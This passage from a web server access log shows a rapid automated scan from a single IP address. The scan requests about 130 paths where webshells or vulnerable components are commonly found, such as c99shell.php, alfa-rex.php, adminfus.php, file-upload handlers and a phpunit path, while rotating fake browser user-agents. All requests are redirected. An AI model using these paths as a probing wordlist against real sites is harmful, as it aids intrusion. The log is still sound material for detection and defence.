10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:54 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:55 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:56 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:57 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:58 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:59 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:00 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:01 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /de-ideale-stookmix/wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-content/plugins/wps-hide-login/wps-hide-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:02 +0300] "GET /wp-content/plugins/wp-diambar/includes/loadme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /assets/images/accesson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /wp-content/plugins/wp-plugin/wp-plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:03 +0300] "GET /wp-content/plugins/wp-default/sh/member.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 